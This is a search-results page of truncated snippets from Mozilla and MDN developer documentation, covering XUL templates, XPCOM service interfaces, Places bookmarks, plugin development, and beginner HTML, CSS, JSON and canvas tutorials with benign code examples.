...examples given for "product x.y" were using netscape 6 but other possible mozilla based browsers exist as well; all gecko-based browsers are encouraged to write these keys, so that plugin vendors can write plugin installers that install correctly to all gecko-based browsers.
...And 6 more matches
Using XML Data Islands in Mozilla - Archive of obsolete content
internet explorer had an "xml data islands" feature that allows web authors include xml data inline in html documents using the <xml> tag.
...html5 has a more general feature called "data blocks" that can carry almost any textual data, including xml.
...when putting xml in a data block, you need to make sure that the xml content you are embedding does not have an end tag that case-insensitively matches "</script>".
...And 6 more matches
Dehydra Object Reference - Archive of obsolete content
intrinsic types such as "int" are not declared and will not have a .loc.
...code can be annotated with arbitrary user attributes: __attribute__((user("customstring"))).
...the "foo" variable would be a .fieldof membervar/fn in foo->membervar or foo->memberfn().
...And 6 more matches
Drag and Drop Example - Archive of obsolete content
first, we'll add the wrapper scripts: <script src="chrome://global/content/nsdraganddrop.js"/> <script src="chrome://global/content/nstransferable.js"/> <script src="dragboard.js"/> an additional script file dragboard.js is included which will contain the code we will write ourselves.
...<stack id="board" style="width:300px; height: 300px; max-width: 300px; max-height: 300px" ondragover="nsdraganddrop.dragover(event, boardobserver)" ondragdrop="nsdraganddrop.drop(event, boardobserver)"> </stack> the board only needs to respond to the dragdrop and dragover events.
...<vbox> <button label="button" elem="button" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> <button label="check box" elem="checkbox" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> <button label="text box" elem="textbox" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> </vbox> the nsdraganddrop object will be called to do most of the work.
...And 6 more matches
Frequently Asked Questions - Archive of obsolete content
if there's a grey area at the top of the source with the text "this xml file does not appear to have any style information associated with it" then the problem is with the svg file.
... to be valid the root <svg> tag in svg files must have at least the following two "namespace bindings".
... <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> actually the second binding isn't always required, but unless you understand namespaces, we'd strongly recommend you include it.
...And 6 more matches
appendNotification - Archive of obsolete content
if "" then an icon appropriate for the priority level is used.
...the type property must also be set to "menu", or "menu-button".
...valid values are "menu-button" and "menu" which must be set if the button is to provide a popup via the popup property.
...And 6 more matches
Panels - Archive of obsolete content
<?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <button label="details" type="panel"> <panel id="search-panel"> <label control="name" value="name:"/> <textbox id="name"/> </panel> </button> </window> many panels will be associated with a button, as in this example.
... <label value="search" popup="search-panel"/> <panel id="search-panel"> <label control="search" value="terms:"/> <textbox id="search"/> </panel> to attach a panel to an non-button element, for instance to have a panel open when a label is clicked, use the popup attribute.
...for instance, to attach the popup defined above to a label, use the following code: <label value="search" popup="search-panel"/> the result is a search button which opens a panel for entering the search term.
...And 6 more matches
Multiple Rules - Archive of obsolete content
a multiple rule template looks like the following: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> <rule> <where subject="?title" rel="equal...
...s" value="canal"/> <action> <button uri="?photo" image="?photo" label="view" orient="vertical"/> </action> </rule> <rule> <action> <image uri="?photo" src="?photo"/> </action> </rule> </template> </hbox> this template contains a query with two rules.
...here is another example for an xml source: <radiogroup datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <rule> <where subject="?gender" rel="equals" value="male"/> <action> <radio uri="?" label="?name is male"/> </action> </rule> <rule> <action> <radio uri="?" label="?name is female" disabled="true"/> </action> </rule> </template> </radiogroup> in this example...
...And 6 more matches
Templates - Archive of obsolete content
example 1 : source <vbox datasources="rdf:bookmarks" ref="nc:bookmarksroot" flex="1"> <template> <button uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </template> </vbox> here, a vertical box has been created that will contain a column of buttons, one for each top-level bookmark.
...to use your own datasource, specify the url of an rdf file for the datasources attribute, as indicated in the example below: <box datasources="chrome://zoo/content/animals.rdf" ref="http://www.some-fictitious-zoo.com/all-animals"> you can even specify multiple datasources at a time by separating them with a space in the attribute value.
... <button class="rdf:http://www.example.com/rdf#class" uri="rdf:*" label="rdf:http://www.example.com/rdf#name" crop="rdf:http://www.example.com/rdf#crop"/> as you can see, you can dynamically generate lists of elements with the attributes provided by a separate datasource.
...And 6 more matches
XPCOM Interfaces - Archive of obsolete content
you can get a component using javascript code like that below: var afile = components.classes["@mozilla.org/file/local;1"].createinstance(); the file component is retrieved and stored in the afile variable.
...a second line of code needs to be added as follows: var afile = components.classes["@mozilla.org/file/local;1"].createinstance(); if (afile) afile.queryinterface(components.interfaces.nsilocalfile); the function queryinterface() is a function provided by all components which can be used to get a specific interface of that component.
...for example, to get a sound interface, you can do the following: var sound = components.classes["@mozilla.org/sound;1"].createinstance(); if (sound) sound.queryinterface(components.interfaces.nsisound); xpcom interfaces can inherit from other interfaces.
...And 6 more matches
Application Update - Archive of obsolete content
e the following settings in your application: branding the update process uses branding information, setup branding for your application as described here: xulrunner tips icons the updater process for linux systems requires updater.png to be in your <application folder>/icons/, see https://bugzilla.mozilla.org/show_bug.cgi?id=706846 preferences // whether or not app updates are enabled pref("app.update.enabled", true); // this preference turns on app.update.mode and allows automatic download and // install to take place.
...pref("app.update.auto", true); // defines how the application update service notifies the user about updates: // // aum set to: minor releases: major releases: // 0 download no prompt download no prompt // 1 download no prompt download no prompt if no incompatibilities // 2 download no prompt prompt // // see chart in nsupdateservice.js.in for more details // pref("app.update.mode", 1); // if set to true, the update service will present no ui for any event.
... pref("app.update.silent", false); // update service url: // you do not need to use all the %var% parameters.
...And 6 more matches
-ms-filter - Archive of obsolete content
syntax the -ms-filter property is specified as a string that contains a list of one or more items, separated by spaces, of the following types: filters transitions procedural surfaces formal syntax filter: <-ms-filter-function>+ -ms-filter: [ "'" <-ms-filter-function># "'" ] | [ '"' <-ms-filter-function># '"' ] where <-ms-filter-function> = <-ms-filter-function-progid> | <-ms-filter-function-legacy> where <-ms-filter-function-progid> = 'progid:' [ <ident-token> '.' ]* [ <ident-token> | <function-token> <any-value> ')' ] <-ms-filter-function-legacy> = <ident-token> | <function-token> <any-value> ')' the <string> contains the list of fil...
... code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_h.htm <img style="filter:progid:dximagetransform.microsoft.motionblur(strength=50) progid:dximagetransform.microsoft.basicimage(mirror=1)" src="/workshop/samples/author/dhtml/graphics/cone.jpg" height="80px" width="80px" alt="cone"> the following example shows how to use scripting to set the filter on an image.
... <div id="filterfrom" style="position: absolute; width: 200px; height: 250px; background-color: white; filter: revealtrans()"> <img id="imagefrom" style="position: absolute; top: 20px; left: 20px;" src="sphere.jpg" alt="sphere"> <div id="filterto" style="position: absolute; width: 200px; height: 250px; top: 20px; left: 20px; background: white; visibility: hidden;"> </div> </d...
...And 6 more matches
Audio for Web games - Game development
var myaudio = document.createelement("audio"); myaudio.src = "mysprite.mp3"; myaudio.play(); myaudio.pause(); you'll need to sample the current time to know when to stop.
... here's an example of an audio sprite player — first let's set up the user interface in html: <audio id="myaudio" src="https://udn.realityripple.com/samples/f0/2909c16512.mp3"></audio> <button data-start="18" data-stop="19">0</button> <button data-start="16" data-stop="17">1</button> <button data-start="14" data-stop="15">2</button> <button data-start="12" data-stop="13">3</button> <button data-start="10" data-stop="11">4</button> <button data-start="8" data-stop="9">5</button> <button data-start="6" data-stop="7">6</button> <button data-start="4" data-stop="5...
...">7</button> <button data-start="2" data-stop="3">8</button> <button data-start="0" data-stop="1">9</button> now we have buttons with start and stop times in seconds.
...And 6 more matches
Visual typescript game engine - Game development
*/ private addson: addson = [ { name: "cache", enabled: true, scriptpath: "externals/cacheinit.ts", }, { name: "hackertimer", enabled: true, scriptpath: "externals/hack-timer.js", }, { name: "dragging", enabled: true, scriptpath: "externals/drag.ts", }, ]; /** * @description this is main coordinary types of positions * can be "diametric-fullscreen" or "frame...
...".
... * @property drawreference * @type string */ private drawreference: string = "frame"; /** * aspectratio default value, can be changed in run time.
...And 6 more matches
Plug-in Development Overview - Gecko Plugin API Reference
see "building plug-ins".
...until your new mime type is registered, preface its name with "x-", for example, image/x-nwim.
... for more information about mime types, see these mime rfcs: rfc-2045: "multipurpose internet mail extensions (mime) part one: format of internet message bodies" rfc-2046: "multipurpose internet mail extensions (mime) part two: media types" rfc-4288: "media type specifications and registration procedures" there are some variations to how plug-ins are handled on different platforms.
...And 6 more matches
Accessible multimedia - Learn web development
for example: <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> accessible audio and video controls implementing controls for web-based audio/video shouldn't be a problem, right?
...for example (see native-controls.html source code and live): <audio controls> <source src="viper.mp3" type="audio/mp3"> <source src="viper.ogg" type="audio/ogg"> <p>your browser doesn't support html5 audio.
... here is a <a href="viper.mp3">link to the audio</a> instead.</p> </audio> <br> <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video.
...And 6 more matches
CSS FAQ - Learn web development
LearnCSSHowtoCSS FAQ
given that each modern browser uses an html5 parser, this is the recommended doctype */ <!doctype html public "-//w3c//dtd html 4.0 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html4/strict.dtd"> <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.d...
...td"> when at all possible, you should just use the html5 doctype.
... initially css didn't provide a "default" keyword and the only way to restore the default value of a property is to explicitly re-declare that property.
...And 6 more matches
HTML Cheatsheet - Learn web development
inline elements an "element" is a single part of a webpage.
...some elements are small and are "nested" inside larger ones.
... by default, "inline elements" appear next to one another in a webpage.
...And 6 more matches
Adding vector graphics to the Web - Learn web development
more advanced svg features include <fecolormatrix> (transform colors using a transformation matrix,) <animate> (animate parts of your vector graphic,) and <mask> (apply a mask over the top of your image.) as a simple example, the following code creates a circle and a rectangle: <svg version="1.1" baseprofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="black" /> <circle cx="150" cy="100" r="90" fill="blue" /> </svg> this creates the following output: from the example above, you may get the impression that svg is easy to handcode.
... <img src="equilateral.svg" alt="triangle with all three sides equal" height="87" width="100" /> pros quick, familiar image syntax with built-in text equivalent available in the alt attribute.
...this being the case, only supporting browsers will load the svg — older browsers will load the png instead: <img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"> you can also use svgs as css background images, as shown below.
...And 6 more matches
Third-party APIs - Learn web development
this typically involves first linking to a javascript library available on the server via a <script> element, as seen in our mapquest example: <script src="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.js"></script> <link type="text/css" rel="stylesheet" href="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.css"/> you can then start using the objects available in that library.
...(at the time of writing, it was called a "consumer key" on the site, and the key creation process also asked for an optional "callback url".
... let's request a key for the article search api — create a new app, selecting this as the api you want to use (fill in a name and description, toggle the switch under the "article search api" to the on position, and then click "create").
...And 6 more matches
Arrays - Learn web development
arrays are generally described as "list-like objects"; they are basically single objects that contain multiple values stored in a list.
... enter the following into your console: shopping[0]; // returns "bread" you can also modify an item in an array by simply giving a single array item a new value.
... try this: shopping[0] = 'tahini'; shopping; // shopping will now return [ "tahini", "milk", "cheese", "hummus", "noodles" ] note: we've said it before, but just as a reminder — computers start counting from 0!
...And 6 more matches
Working with JSON - Learn web development
this allows you to construct a data hierarchy, like so: { "squadname": "super hero squad", "hometown": "metro city", "formed": 2016, "secretbase": "super tower", "active": true, "members": [ { "name": "molecule man", "age": 29, "secretidentity": "dan jukes", "powers": [ "radiation resistance", "turning tiny", "radiation blast" ] }, { "name": "madame uppercut", "age": 3...
...9, "secretidentity": "jane wilson", "powers": [ "million tonne punch", "damage resistance", "superhuman reflexes" ] }, { "name": "eternal flame", "age": 1000000, "secretidentity": "unknown", "powers": [ "immortality", "heat immunity", "inferno", "teleportation", "interdimensional travel" ] } ] } if we loaded this object into a javascript program, parsed in a variable called superheroes for example, we could then access the data inside it using the same dot/bracket notation we looked at in the javascript object basics article.
... inside that we want to access the members property, so we use ["members"].
...And 6 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
we'll also wire up our "clear completed" button.
... in todo-data.js, add the following getter underneath the existing all() getter to define what the incomplete todos actually are: get incomplete() { return this.todos.filter(todo => { return todo.iscompleted === false; }); } using array.filter(), we declare that "incomplete" todos are ones that have iscompleted equal to false.
... first of all, replace this line: <strong>0</strong> todos left with this, which populates the incomplete number with the length of the incomplete array: <strong>{{this.todos.incomplete.length}}</strong> todos left next, replace this: <button type="button" class="clear-completed"> with this: <button type="button" class="clear-completed" {{on 'click' this.todos.clearcompleted}}> so now when the button is clicked, the clearcompleted() action we added earlier is run.
...And 6 more matches
Chrome registration
in order to inform the chrome registry of the available chrome, a text manifest is used: this manifest is "chrome.manifest" in the root of an extension, or theme, or xulrunner application.
...if the above example had a packagename of camelcasepackage, you would get an error message similar to "no chrome registered for chrome://camelcasepackage/path/to/files".
...the localename is usually a plain language identifier "en" or a language-country identifier "en-us".
...And 6 more matches
mach
mach (german for to make) is a program via the "command-line interface" to help developers perform installation tasks such as installing firefox from its c++ source code.
...say, if you run a rolling release arch linux distro or derivate thereof ("manjaro"), you have something less tedious: octopi!
...many pkgbuild options to choose from and most work like a charm - while "mach" may not necessarily work like a charm for everyone.
...And 6 more matches
Performance best practices for Firefox front-end engineers
normally, the changes to the dom just result in the standard style calculation occurring immediately after the javascript has finished running during the 16ms window, inside the "style" step.
... if you want to queue up some javascript to run after the next "natural" style and layout flush, try: // suppose we want to get the computed "display" style of some node without // causing a style flush.
... return window.getcomputedstyle(node).display; }); return display == "none"; } see detecting and avoiding synchronous reflow for a more advanced example of getting layout information, and then setting it safely, without causing flushes.
...And 6 more matches
Internationalized Domain Names (IDN) Support in Mozilla Browsers
arabic and hebrew), and check whether or not unassigned characters in the unicode repertoire are used -- allowing them for "query strings" but disallowing them for "stored strings" such as the data input for domain name registration.
... this process is called "nameprep" and is performed according to rfc 3491 (nameprep: a stringprep profile for internationalized domain names (idn)) and rfc 3454 (preparation of internationalized strings ("stringprep")).
...during the discussion phase of the idn protocols development, there were some competing ascii-compatible encoding (ace) schemes proposed but an agreement was reached eventually to standardize on a type of ace called "punycode".
...And 6 more matches
DeferredTask.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/deferredtask.jsm"); use this, for instance, if you write data to a file and you expect that you may have to rewrite data very soon afterwards.
...multiple "arm" calls within the same tick of the event loop are guaranteed to result in a single execution of the task.
...the "finalize" method can be used in the common case of waiting for completion on shutdown.
...And 6 more matches
Extras
the title attribute as a tooltip (from xhtml) html content <p>mouse over either log to see a tooltip showing the title <math display="block"> <mrow> <mrow> <msub title="base-a log"> <mi>log</mi> <mi>a</mi> </msub> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> rather than repeating the instructions, some css might be used to...
...for example with the style rule: <code style="white-space: nowrap;">*[title] { color: blue; }</code> <math class="cue" display="block"> <mrow> <mrow> <msub title="base-a log"> <mi>log</mi> <mi>a</mi> </msub> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> </p> css content math.cue *[title] { color: blue; } mixing with other markups html content <math display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext> <img width="16" height="16" src="https://udn.realityripple.com/samples/3f/9341cbddc0.png" alt="mo...
...zilla-16" /> </mtext> </mtd> </mtr> <mtr> <mtd> <mtext><input value="type" size="4"/></mtext> </mtd> <mtd><mn>4</mn></mtd> </mtr> </mtable> <mo>]</mo> </mrow> </math> <math display="block"> <msqrt> <mpadded width="30px" height="15px" depth="15px" voffset="-15px"> <mtext> <svg width="30px" height="30px"> <defs> <radialgradient id="radgrad1" cx="50%" cy="50%" r="50%" fx="50%" fy="50%"> <stop offset="0%" style="stop-color:rgb(255,255,255); stop-opacity:1;"/> <stop offset="100%" style="stop-color:rgb(255,0,0); stop-opacity:.8;"/> </radialgradient> </defs> <g transform="translate(15,15)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" ...
...And 6 more matches
Using the viewport meta tag to control layout on mobile browsers
to mitigate this problem, apple introduced the "viewport meta tag" in safari ios to let web developers control the viewport's size and scale.
...for example, safari's documentation says the content is a "comma-delimited list," but existing browsers and web pages use any mix of commas, semicolons, and spaces as separators.
... viewport basics a typical mobile-optimized site contains something like the following: <meta name="viewport" content="width=device-width, initial-scale=1"> the width property controls the size of the viewport.
...And 6 more matches
L20n HTML Bindings
<head> … <script src="l20n.js"></script> </head> create manifest use a localization manifest to define available languages and their resource files.
... <link rel="localization" href="../locales/manifest.json"> an example of the manifest file (all keys are required): { "locales": [ "en-us", "pl"], "default_locale": "en-us", "resources": [ "../locales/{{locale}}/strings.l20n", "/shared/{{locale}}/date.l20n"¨ ] } make html elements localizable use the data-l10n-id attribute on an html element to mark it as localizable.
... <p data-l10n-id="about"></p> notice that you don't have to put the text content in the html anymore (you still can if you want to).
...And 6 more matches
SpiderMonkey Internals
semantic and lexical feedback are used to disambiguate hard cases such as missing semicolons, assignable expressions ("lvalues" in c parlance), and whether / is the division symbol or the start of a regular expression.
...other values are encoded as a value and a type tag: on x86, arm, and similar 32-bit platforms, we use what we call "nunboxing", in which non-double values are a 32-bit type tag and a 32-bit payload, which is normally either a pointer or a signed 32-bit integer.
...instead, we use "punboxing", which has 17 bits of tag and 47 bits of payload.
...And 6 more matches
Introduction to the JavaScript shell
after following the build documentation and installing the built shell using make install, you can run the shell in interactive mode using the command: js [ if you get " symbol lookup error: ./js: undefined symbol: pr_setcurrentthreadname" e.g.
... -p if the first line of the file is "/usr/bin/env js -p", then the file content will be interpreted by the javascript engine.
... if string is "lazy" and object is not specified, evalcx() returns a new object with lazy standard classes.
...And 6 more matches
Manipulating bookmarks using Places
initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method.
... for example, to create a new folder in the bookmarks menu: var menufolder = bmsvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = bmsvc.createfolder(menufolder, "folder name here", bmsvc.default_index); this code locates the bookmarks menu's folder, then creates a new folder named "folder name here" in it.
... var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("http://google.com/", null, null); var newbkmkid = bmsvc.insertbookmark(newfolderid, uri, bmsvc.default_index, ""); this example instantiates the nsiioservice and uses it to create an nsiuri referring to the google web site, then calls nsinavbookmarksservice.insertbookmar...
...And 6 more matches
Using the Places annotation service
creating the annotation service the annotation contract id is @mozilla.org/browser/annotation-service;1 var annotationservice = components.classes["@mozilla.org/browser/annotation-service;1"] .getservice(components.interfaces.nsiannotationservice); note that the annotation service is not thread-safe.
...for example, "my_extension/page_state".
...also, we may add functions to get all of "your" annotations matching a given namespace.
...And 6 more matches
Using XPCOM Utilities to Make Things Easier
since these macros expand into "generic" implementations, they may not offer as much flexibility as you have when you are writing your own implementation.
...the four required parts[other-parts] of the structure contain the following information: a human readable class name the class id (cid) the contract id (an optional but recommended argument) a constructor for the given object static const nsmodulecomponentinfo components[] = { { "pretty class name", cid, contract_id, constructor }, // ...
...modules such as the networking libraries in gecko ("necko") have over 50 components declared in a single nsmodulecomponentinfo array like this.
...And 6 more matches
nsIAppShellService
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: @mozilla.org/appshell/appshellservice;1 as a service: var appshellservice = components.classes["@mozilla.org/appshell/appshellservice;1"] .getservice(components.interfaces.nsiappshellservice); method overview void closetoplevelwindow(in nsixulwindow awindow); obsolete since gecko 1.8 void createhiddenwindow(in nsiappshell aappshell); native code only!
... nativeappsupport nsinativeappsupport getter for "native application support." read only.
... void createhiddenwindow( in nsiappshell aappshell ); parameters aappshell a widget "appshell" (event processor) to associate with the new window.
...And 6 more matches
nsIChromeRegistry
inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: @mozilla.org/chrome/chrome-registry;1 as a service: var chromeregistry = components.classes["@mozilla.org/chrome/chrome-registry;1"] .getservice(components.interfaces.nsichromeregistry); method overview void canonify(in nsiuri achromeurl); obsolete since gecko 1.8 void checkfornewchrome(); nsiuri convertchromeurl(in nsiuri achromeurl); boolean wrappersenabled(in nsiuri auri); violates the xpcom interface guidelines constants ...
...this is useful because chrome urls are allowed to be specified in "shorthand", leaving the "file" portion off.
...the extension, ext, is one of: xul for a "content" package.
...And 6 more matches
nsIDOMSimpleGestureEvent
mozmagnifygesturestart - generated when the user begins the magnify ("pinch") gesture.
... the "delta" value represents the initial movement.
... mozmagnifygestureupdate - generated periodically while the user is continuing the magnify ("pinch") gesture.
...And 6 more matches
nsINavBookmarkObserver
this will be called whenever any attributes like "title" are changed.
...it is called whenever any attributes like "title" are changed.
... notes this table indicates what anewvalue should be depending on property specified by aproperty: property string value "cleartime" empty string; this property means the history was deleted, so there's no last visit date.
...And 6 more matches
nsINavBookmarksService
to use this service, use: var navbookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); method overview void addobserver(in nsinavbookmarkobserver observer, in boolean ownsweak); void beginupdatebatch(); obsolete since gecko 1.9 void changebookmarkuri(in long long aitemid, in nsiuri anewuri); long long createdynamic...
... tagsfolder long long the item id of the top-level folder that contains the tag "folders".
... type_bookmark 1 this is an index for type "bookmark".
...And 6 more matches
nsIPlacesImportExportService
implemented by: @mozilla.org/import-export-service;1 as a service: var placesimportexportservice = components.classes["@mozilla.org/import-export-service;1"] .getservice(components.interfaces.nsiplacesimportexportservice); method overview void backupbookmarksfile(); void exporthtmltofile(in nsilocalfile afile); void importhtmlfromfile(in nsilocalfile afile, in boolean aisinitialimport); obsolete since gecko 14.0 void importhtmlfromfiletofolder(...
..."bookmarks-restore-begin" is fired just before the import is started.
... "bookmarks-restore-success" is fired right after the bookmarks are successfully imported.
...And 6 more matches
nsIPushService
implemented by @mozilla.org/push/service;1 as a service: const pushservice = components.classes["@mozilla.org/push/service;1"] .getservice(components.interfaces.nsipushservice); method overview void subscribe(in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback); void getsubscription(in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback); void unsubscribe(in domstring...
... example const { classes: cc, interfaces: ci, utils: cu } = components; const scriptsecuritymanager = cc["@mozilla.org/scriptsecuritymanager;1"] .getservice(ci.nsiscriptsecuritymanager); const pushservice = cc["@mozilla.org/push/service;1"] .getservice(ci.nsipushservice); pushservice.subscribe( "chrome://my-module/push", scriptsecuritymanager.getsystemprincipal(), (code, subscription) => { if (!components.issuccesscode(code)) { cu.
...reporterror("error creating subscription: " + code); return; } // `subscription` implements `nsipushsubscription`.
...And 6 more matches
nsIWebContentHandlerRegistrar
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/embeddor.implemented/web-content-handler-registrar;1 as a service: var nsiwchr = cc["@mozilla.org/embeddor.implemented/web-content-handler-registrar;1"] .getservice(ci.nsiwebcontenthandlerregistrar); method overview void registercontenthandler(in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow contentwindow) void registerprotocolhandler(in domstring protocol,in domstring uri, in domstring title, in nsidomwindow c...
...you must include "%s" to indicate where to insert the escaped uri of the document to be handled.
... examples register a webmail service as mailto handler the following code aims to add "outlook.com live mail" to list of webservice handlers.
...And 6 more matches
nsIXULAppInfo
to create an instance, use: var xulappinfo = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo); the nsixulruntime interface is also implemented by "xre/app-info".
...attributes attribute type description appbuildid acstring the application's build id/date, for example "2004051604".
... this has traditionally been in the form "{aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee}" but for new applications a more readable form is encouraged: "appname@vendor.tld".
...And 6 more matches
Creating a gloda message query
import gloda gloda's api is exposed in the "gloda" object that is contributed to your namespace.
... you can find the file, which includes doxygen markup of sorts, here: https://hg.mozilla.org/comm-central/file/tip/mailnews/db/gloda/modules/gloda.js components.utils.import("resource:///modules/gloda/public.js"); create the query let query = gloda.newquery(gloda.noun_message); add constraints to the query each constraint function takes one or more arguments which are "or"ed together.
... so if we had a "color" constraint such as query.color("red", "green", "blue") would mean any of red, green, or blue is okay.
...And 6 more matches
Adding items to the Folder Pane
the result is a javascript file that will add a "numbers" container to the end of thunderbird's "all folders" mode.
...each time the folder pane determines that it is necessary to invalidate all its data (because of too many changes, or more commonly because the folder pane's "mode" (aka view) has changed), a "rebuild" occurs.
... listening for folder pane rebuilds every time the folder pane rebuilds, it fires a "maprebuild" event, which is the ideal opportunity for extensions to step in and modify the display data.
...And 6 more matches
Creating a Custom Column
getting started in this example we will be developing a small extension that will be adding a column that will display the "reply-to:" field of an email (if it exists, it if often not set).
...looking in messenger.xul reveals that the columns reside inside a tree with the id "threadtree" whose columns (treecols) reside in "threadcols".
... to attach our column we add another treecol tag ("colreplyto") with the settings that we would like to use.
...And 6 more matches
Plug-in Development Overview - Plugins
see "building plug-ins".
...until your new mime type is registered, preface its name with "x-", for example, image/x-nwim.
... for more information about mime types, see these mime rfcs: rfc-2045: "multipurpose internet mail extensions (mime) part one: format of internet message bodies" rfc-2046: "multipurpose internet mail extensions (mime) part two: media types" rfc-4288: "media type specifications and registration procedures" there are some variations to how plug-ins are handled on different platforms.
...And 6 more matches
Streams - Plugins
normal mode: the browser uses the npp_write method to "push" stream data to the instance incrementally as it is available.
... random-access mode: the plug-in calls the npn_requestread method to "pull" stream data.
... sending the stream in random-access mode in random-access mode, the plug-in "pulls" stream data by calling the npn_requestread method.
...And 6 more matches
Debugger.Object - Firefox Developer Tools
(in firefox terminology, privileged code sees the element through an "xray wrapper".) to ensure that debugger code sees each object just as the debuggee would, each debugger.object instance presents its referent as it would be seen from a particular compartment.
... this "viewing compartment" is chosen to match the way the debugger came across the referent.
...} then this debugger.object instance's parameternames property would have the value: ["a", ["b", "c"], {d:"d", e:"f"}] script if the referent is a function that is debuggee code, this is that function's script, as a debugger.script instance.
...And 6 more matches
Network request details - Firefox Developer Tools
this includes: information about the request status: the response status code for the request; click the "?" icon to go to the reference page for the status code.
...if you select copy all, the entire header is copied in json format, giving you something like this (after running the results through a json validator): { "response headers (1.113 kb)": { "headers": [ { "name": "accept-ranges", "value": "bytes" }, { "name": "age", "value": "0" }, { "name": "backend-timing", "value": "d=74716 t=1560258099074460" }, { "name": "cache-control", "value": "private, must-revalidate, max-age=0" }, { ...
... "name": "content-disposition", "value": "inline; filename=api-result.js" }, { "name": "content-encoding", "value": "gzip" }, { "name": "content-length", "value": "673" }, { "name": "content-type", "value": "text/javascript; charset=utf-8" }, { "name": "date", "value": "tue, 11 jun 2019 13:01:39 gmt" }, { "name": "mediawiki-login-suppressed", "value": "true" }, { "name": "p3p", "value": "cp=\"this is not a p3p policy!
...And 6 more matches
Intensive JavaScript - Firefox Developer Tools
a button to run the javascript, labeled "do pointless computations!".
... leaving the radio button set to "use blocking call in main thread", make a recording: press the "start animations" button start recording a performance profile press "do pointless computations!" two or three times stop recording the profile exactly what you see will vary from one machine to another, but it will be something like this: the top half of this is the waterfall overview.
... break; } } if (isprime) { primes.push(candidate); } // schedule the next var testfunction = testcandidate.bind(this, index + 1); window.requestanimationframe(testfunction); } var primes = []; var testfunction = testcandidate.bind(this, 0); window.requestanimationframe(testfunction); } let's test this version out: select the radio button labeled "use requestanimationframe" and capture another profile.
...And 6 more matches
Using dynamic styling information - Web APIs
modify a stylesheet rule with cssom <html> <head> <title>modifying a stylesheet rule with cssom</title> <style type="text/css"> body { background-color: red; } </style> <script type="text/javascript"> var stylesheet = document.stylesheets[0]; stylesheet.cssrules[0].style.backgroundcolor="blue"; </script> </head> <body> the stylesheet declaration for the body's background color is modified via javascript.
... modify an element's style the element style property (see also the section "dom style object" below) can also be used to get and set the styles on an element.
... however, this property only returns style attributes that have been set in-line (e.g, <td style="background-color: lightblue"> returns the string "background-color:lightblue", or directly for that element using element.style.propertyname, even though there may be other styles on the element from a stylesheet).
...And 6 more matches
Drawing shapes with canvas - Web APIs
rectangular shape example <html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> </html> function draw() { var canvas = document.getelementbyid('canvas'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); ctx.fillrect(25, 25, 100, 100); ctx.clearrect(45, 45, 60, 60); ctx.strokerect(50, 50, 50, 50); } } this example's output is shown below.
